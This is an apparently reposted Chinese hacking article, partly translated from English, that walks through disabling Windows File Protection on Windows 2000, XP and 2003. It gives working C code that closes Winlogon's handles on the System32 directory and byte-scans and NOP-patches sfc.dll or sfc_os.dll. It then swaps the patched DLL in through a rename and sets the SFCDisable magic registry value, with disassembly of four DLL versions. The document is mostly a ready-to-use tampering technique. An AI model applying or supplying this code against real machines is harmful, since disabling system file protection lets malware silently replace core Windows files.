这段代码重新获得所有的系统范围打开句柄,包括那些Winlogon进程。让我们看看下面的步骤:
1)浏览所有打开的句柄检查那些属于Winlogon的
2)复制每一个Winlogon句柄到我们的进程用DuplicateHandle,一会它会给我们权限去请求句柄/目标 名字用NtQueryObject。
3)如果这个目标名称是那些我们想要阻止监视目录中的一个,我们需要再次呼叫DuplicateHandle用DUPLICATE_CLOSE_SOURCE标记然后呼叫CloseHandle关闭damn句柄。
前两点不需要太多解释,但是第三点不得不在使之更加清晰一些,我们不得不关闭关闭这些句柄就是每一个系统目录我们想要更改文件进去的。而且,禁止WFP,我们不得不至少禁止System32目录的监视。这个目录的目标名称是例如:Harddisk00\\Windows\\System32;因为我懒得去转换harddiskxx成为我们常用的比如C,我写了情形-忽略函数向后比较字符串:
BOOL CompareStringBackwards(WCHAR *Str1, WCHAR *Str2)
{
INT Len1 = wcslen(Str1), Len2 = wcslen(Str2);
if (Len2 > Len1)
return FALSE;
for (Len2--, Len1--; Len2 >= 0; Len2--, Len1--)
{
if (Str1[Len1] != Str2[Len2])
return FALSE;
}
return TRUE;
}
所以应该知道如果当前的句柄是目录我们要找的去写入的:
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32")
And let''s not forget that Win2k uses WINNT as windows directory, so we have to check both strings:
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32") ||
CompareStringBackwards(ObjName.Buffer, L"WINNT\\SYSTEM32"))
if one of these string matches, we''ll close the handle:
CloseHandle(hCopy); // old DuplicateHandle handle
DuplicateHandle (hWinLogon,
(HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
GetCurrentProcess(), &hCopy, 0, FALSE,
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);
CloseHandle(hCopy);
现在我们禁止了对System32目录的监视,然后呢?对,真正禁止WFP,我们必须patch sfc.dll (Win2k) or sfc_os.dll (XP and later). 如果你熟悉禁止WFP,你知道我正在谈论什么:在Win2k(sp1之前)为了禁止WFP(在下一个启动后)你必须修改注册表对于magic value (0xFFFFFF9D),因为sfc.dll就扼守他作为一个禁止WFP的选项,但是从Win2k SP1开始,事情就有一点复杂了,因为这个值不会移动,但是不再被sfc.dll接受,实际上这个dll突然这样运作了(这个是 Win2k SP2 sfc.dll):
.text:76956C07 mov eax, dword_769601D4
.text:76956C0C cmp eax, 0FFFFFF9Dh
.text:76956C0F jnz short loc_76956C18
.text:76956C11 mov eax, esi ; overwrite eax
.text:76956C13 mov dword_769601D4, eax
正如你所看到的,如果这个值是0xFFFFFF9D,它会被覆盖,所以我们补丁指令"mov eax, esi",这样这个值才会有价值。
正常方法是禁止WFP是以安全模式启动或者是恢复控制台,用原来的dll替换这个补丁后的dll然后重启;但是我们要做这些更好一些,我们使用一点窍门来替换dll,因为不可能删除loaded library (被Winlogon加载) ,我们只是重命名用MoveFile并且替换打过补丁的文件用原来的文件,当然WFP不会反映的,我们已经禁止了System32的保护,仍然有一个问题:有许多版本的sfc.dll 和 sfc_os.dll,所以我们需要知道这个精确偏移量每一个版本在哪里补丁了,当然不是!我简单的制作了一个聪明的补丁浏览这段代码寻找一些特殊的字节我总是找寻分析一些版本的dll:这时dlls我看到的:
1 - Win2k SP2 sfc.dll
.text:76956C07 A1 D4 01 96 76 mov eax, dword_769601D4
.text:76956C0C 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76956C0F 75 07 jnz short loc_76956C18
.text:76956C11 8B C6 mov eax, esi
.text:76956C13 A3 D4 01 96 76 mov dword_769601D4, eax
.text:76956C18
.text:76956C18 loc_76956C18:
.text:76956C18 3B C3 cmp eax, ebx
.text:76956C1A 74 3E jz short loc_76956C5A
.text:76956C1C 3B C6 cmp eax, esi
.text:76956C1E 0F 84 97 01 00+ jz loc_76956DBB
.text:76956C24 83 F8 02 cmp eax, 2
.text:76956C27 0F 84 7D 01 00+ jz loc_76956DAA
.text:76956C2D 83 F8 03 cmp eax, 3
.text:76956C30 0F 84 E8 00 00+ jz loc_76956D1E
.text:76956C36 83 F8 04 cmp eax, 4
.text:76956C39 0F 84 CE 00 00+ jz loc_76956D0D
.text:76956C3F 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76956C42 53 push ebx
.text:76956C43 0F 84 82 01 00+ jz loc_76956DCB
2 - WinXP Home Edition sfc_os.dll
.text:76C2EFB1 A1 58 D1 C3 76 mov eax, dword_76C3D158
.text:76C2EFB6 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EFB9 75 07 jnz short loc_76C2EFC2
.text:76C2EFBB 8B C6 mov eax, esi
.text:76C2EFBD A3 58 D1 C3 76 mov dword_76C3D158, eax
.text:76C2EFC2
.text:76C2EFC2 loc_76C2EFC2:
.text:76C2EFC2 3B C7 cmp eax, edi
.text:76C2EFC4 74 56 jz short loc_76C2F01C
.text:76C2EFC6 3B C6 cmp eax, esi
.text:76C2EFC8 0F 84 1A 01 00+ jz loc_76C2F0E8
.text:76C2EFCE 83 F8 02 cmp eax, 2
.text:76C2EFD1 0F 84 FC 00 00+ jz loc_76C2F0D3
.text:76C2EFD7 83 F8 03 cmp eax, 3
.text:76C2EFDA 74 7D jz short loc_76C2F059
.text:76C2EFDC 83 F8 04 cmp eax, 4
.text:76C2EFDF 74 2F jz short loc_76C2F010
.text:76C2EFE1 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EFE4 0F 84 0D 01 00+ jz loc_76C2F0F7
3 - WinXP Professional Edition sfc_os.dll
.text:76C2EEAE A1 58 D1 C3 76 mov eax, dword_76C3D158
.text:76C2EEB3 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EEB6 75 07 jnz short loc_76C2EEBF
.text:76C2EEB8 8B C6 mov eax, esi
.text:76C2EEBA A3 58 D1 C3 76 mov dword_76C3D158, eax
.text:76C2EEBF
.text:76C2EEBF loc_76C2EEBF:
.text:76C2EEBF 3B C7 cmp eax, edi
.text:76C2EEC1 74 56 jz short loc_76C2EF19
.text:76C2EEC3 3B C6 cmp eax, esi
.text:76C2EEC5 0F 84 1A 01 00+ jz loc_76C2EFE5
.text:76C2EECB 83 F8 02 cmp eax, 2
.text:76C2EECE 0F 84 FC 00 00+ jz loc_76C2EFD0
.text:76C2EED4 83 F8 03 cmp eax, 3
.text:76C2EED7 74 7D jz short loc_76C2EF56
.text:76C2EED9 83 F8 04 cmp eax, 4
.text:76C2EEDC 74 2F jz short loc_76C2EF0D
.text:76C2EEDE 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EEE1 0F 84 0D 01 00+ jz loc_76C2EFF4
4 - Win2k3 sfc_os.dll
.text:76BEF65E A1 78 E1 BF 76 mov eax, dword_76BFE178
.text:76BEF663 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76BEF666 75 07 jnz short loc_76BEF66F
.text:76BEF668 8B C6 mov eax, esi
.text:76BEF66A A3 78 E1 BF 76 mov dword_76BFE178, eax
.text:76BEF66F
.text:76BEF66F loc_76BEF66F: ; CODE XREF: sfc_os_1+4C8j
.text:76BEF66F 3B C7 cmp eax, edi
.text:76BEF671 74 56 jz short loc_76BEF6C9
.text:76BEF673 3B C6 cmp eax, esi
.text:76BEF675 0F 84 1A 01 00+ jz loc_76BEF795
.text:76BEF67B 83 F8 02 cmp eax, 2
.text:76BEF67E 0F 84 FC 00 00+ jz loc_76BEF780
.text:76BEF684 83 F8 03 cmp eax, 3
.text:76BEF687 74 7D jz short loc_76BEF706
.text:76BEF689 83 F8 04 cmp eax, 4
.text:76BEF68C 74 2F jz short loc_76BEF6BD
.text:76BEF68E 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76BEF691 0F 84 0D 01 00+ jz loc_76BEF7A4
这里是我从那些dll中挑出来的字节结果:
if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
这是补丁过的代码:
GetSystemDirectoryW(Buffer, sizeof (WCHAR) * MAX_PATH);
GetSystemDirectoryW(Buffer2, sizeof (WCHAR) * MAX_PATH);
wsprintfW(Buffer2, L"%s\\trash%X", Buffer2, GetTickCount());
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) // win2k
{
wcscat(Buffer, L"\\sfc.dll");
}
else // winxp, win2k3
{
wcscat(Buffer, L"\\sfc_os.dll");
}
hFile = CreateFileW(Buffer, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
dwFileSize = GetFileSize(hFile, NULL);
pSfc = (BYTE *) VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (!pSfc)
{
CloseHandle(hFile);
return FALSE;
}
if (!ReadFile(hFile, pSfc, dwFileSize, &BRW, NULL))
{
CloseHandle(hFile);
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
CloseHandle(hFile);
ImgDosHeader = (PIMAGE_DOS_HEADER) pSfc;
ImgNtHeaders = (PIMAGE_NT_HEADERS)
(ImgDosHeader->e_lfanew + (ULONG_PTR) pSfc);
ImgSectionHeader = IMAGE_FIRST_SECTION(ImgNtHeaders);
// code section
pCode = (BYTE *) (ImgSectionHeader->PointerToRawData + (ULONG_PTR) pSfc);
// i gotta find the bytes to patch
for (dwCount = 0; dwCount < (ImgSectionHeader->SizeOfRawData - 10); dwCount++)
{
if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
{
bFound = TRUE;
break;
}
}
if (bFound == FALSE)
{
// cannot patch
// maybe w2k without sp1
goto no_need_to_patch;
}
// patch
pCode[dwCount] = pCode[dwCount + 1] = 0x90;
// move dll to another place
MoveFileW(Buffer, Buffer2);
// create new dll
hFile = CreateFileW(Buffer, GENERIC_WRITE, FILE_SHARE_READ,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// cannot patch
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
WriteFile(hFile, pSfc, dwFileSize, &BRW, NULL);
CloseHandle(hFile);
no_need_to_patch:
VirtualFree(pSfc, 0, MEM_RELEASE);
现在我们必须写入magic value设置注册SFCScan值为0(事实上它应该已经是了,但是只是确定一下)
Ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0, KEY_SET_VALUE, &Key);
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0xFFFFFF9D;
Ret = RegSetValueExW(Key, L"SFCDisable", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0;
Ret = RegSetValueExW(Key, L"SFCScan", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
RegCloseKey(Key);
好了,现在已经完成了!WFP已经被干掉了,这里是整个文章中的代码 (VC++ 60)
文章转载地址:http://www.cnpaf.net/Class/hack/05121820345159497855.htm